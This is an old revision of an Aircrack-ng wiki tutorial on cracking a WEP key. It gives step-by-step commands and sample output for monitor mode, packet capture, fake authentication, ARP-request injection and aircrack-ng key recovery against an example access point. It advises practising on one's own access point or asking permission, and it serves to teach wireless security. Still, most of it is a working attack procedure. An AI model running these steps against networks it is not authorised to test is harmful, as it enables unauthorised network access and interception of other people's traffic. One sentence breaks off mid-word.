This is an old revision of the document!
Version: 1.08 May 9, 2008
This tutorial walks you though a very simple case to crack a WEP key. It is intended to build your basic skills and get you familiar with the concepts. It assumes you have a working wireless card with drivers already patched for injection.
For a start to finish newbie guide, see the Linux Newbie Guide. Although this tutorial does not cover all the steps, it does attempt to provide much more detailed examples of the steps to actually crack a WEP key plus explain the reason and background of each step. For more information on installing aircrck-ng, see Installing Aircrack-ng and for installing drivers see Installing Drivers.
It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.
I would like to acknowledge and thank the Aircrack-ng team for producing such a great robust tool.
Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.
First, this solution assumes:
Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change “ath0” to the interface name which is specific to your wireless card.
In this tutorial, here is what was used:
You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.
To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.
Once we have captured a large number of IVs, we can use them to determine the WEP key.
Here are the basic steps we will be going through:
The purpose of this step is to put your card into what is called monitor mode. Monitor mode is mode whereby your card can listen to every packet in the air. Normally your card will only “hear” packets addressed to you. By hearing every packet, we can later select some for injection. As well, only (there are some rare exceptions) monitor mode allows you to inject packets. (Note: this procedure is different for non-Atheros cards.)
First stop ath0 by entering:
airmon-ng stop ath0
The system responds:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:
lo no wireless extensions. eth0 no wireless extensions. wifi0 no wireless extensions.
If there are any remaining athX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left.
Now, enter the following command to start the wireless card on channel 9 in monitor mode:
airmon-ng start wifi0 9
Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.
The system will respond:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
You will notice that “ath0” is reported above as being put into monitor mode.
To confirm the interface is properly setup, enter “iwconfig”.
The system will respond:
lo no wireless extensions. wifi0 no wireless extensions. eth0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82 Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Please note that only the madwifi-ng drivers show the MAC address of your wireless card, the other drivers do not do this. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.
To match the frequency to the channel, check out: http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels then select the “Wifi Channel Selection and Channel Overlap” tab. This will give you the frequency for each channel.
The purpose of this step is to capture the IVs generated. This step starts airodump-ng to capture the IVs from the specific access point.
Open another console session to capture the generated IVs. Then enter:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0
-bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
While the injection is taking place (later), the screen will look similar to this:
CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 42 100 5240 178307 338 9 54 WEP WEP teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782
In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.
The lack of association with the access point is the single biggest reason why injection fails. Remember the golden rule: The MAC you use for injection must be associated with the AP by either using fake authentication or using a MAC from an already-associated client.
To associate with an access point, use fake authentication:
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
Success looks like:
18:18:20 Sending Authentication Request 18:18:20 Authentication successful 18:18:20 Sending Association Request 18:18:20 Association successful :-)
Or another variation for picky access points:
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
Success looks like:
18:22:32 Sending Authentication Request 18:22:32 Authentication successful 18:22:32 Sending Association Request 18:22:32 Association successful :-) 18:22:42 Sending keep-alive packet 18:22:52 Sending keep-alive packet # and so on.
Here is an example of what a failed authentication looks like:
8:28:02 Sending Authentication Request 18:28:02 Authentication successful 18:28:02 Sending Association Request 18:28:02 Association successful :-) 18:28:02 Got a deauthentication packet! 18:28:05 Sending Authentication Request 18:28:05 Authentication successful 18:28:05 Sending Association Request 18:28:10 Sending Authentication Request 18:28:10 Authentication successful 18:28:10 Sending Association Request
Notice the “Got a deauthentication packet” and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.
Run: tcpdump -n -vvv -s0 -e -i <interface name> | grep -i -E “(RA:<MAC addreess of your card>|Authentication|ssoc)”
You would then look for error messages.
Run: “tcpdump -n -e -s0 -vvv -i ath0”
Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.
If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i ath0 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.
The purpose of this step is to start aireplay-ng in a mode which listens for ARP requests then reinjects them back into the network. For an explanation of ARP, see this PC Magazine page or Wikipedia. The reason we select ARP request packets is because the AP will normally rebroadcast them and generate a new IV. Again, this is our objective, to obtain a large number of IVs in a short period of time.
Open another console session and enter:
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it. On your home network, here is an easy way to generate an ARP request: On a wired PC, ping a non-existent IP on your home LAN.
Here is what the screen looks like when ARP requests are being injected:
Saving ARP requests in replay_arp-0321-191525.cap You should also start airodump-ng to capture replies. Read 629399 packets (got 316283 ARP requests), sent 210955 packets...
You can confirm that you are injecting by checking your airodump-ng screen. The data packets should be increasing rapidly. The “#/s” should be a decent number. However, decent depends on a large variety of factors. A typical range is 300 to 400 data packets per second. It can as low as a 100/second and as high as a 500/second.
The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.
Note: For learning purposes, you should use a 64 bit WEP key on your AP to speed up the cracking process. If this is the case, then you can include “-n 64” to limit the checking of keys to 64 bits.
Two methods will be shown. It is recommended you try both for learning purposes. By trying both methods, you will see quickly the PTW method successfully determines the WEP key compared to the FMS/Korek method. As a reminder, the PTW method only works successfully with arp request/reply packets. Since this tutorial covers injection arp request packets, you can properly use this method. The other requirement is that you capture the full packet with airodump-ng. Meaning, do not use the “-
Start another console session and enter:
aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap
To also use the FMS/KoreK method, start another console session and enter:
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
If you are using 1.0-rc1, add the option “-K” for the FMS/KoreK attack. (1.0-rc1 defaults to PTW.)
You can run this while generating packets. In a short time, the WEP key will be calculated and presented. You will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128 bit keys. If you are using the PTW attack, then you will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.
Here is what success looks like:
Aircrack-ng 0.9 [00:03:06] Tested 674449 keys (got 96610 IVs) KB depth byte(vote) 0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6( 3) 03( 0) 1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89( 12) E4( 12) 2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17( 10) 27( 10) 3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A( 15) 7C( 15) KEY FOUND! [ 12:34:56:78:90 ] Probability: 100%
Notice that in this case it took far less then the estimated 250,000 IVs to crack the key. (For this example, the FMS/KoreK attack was used.)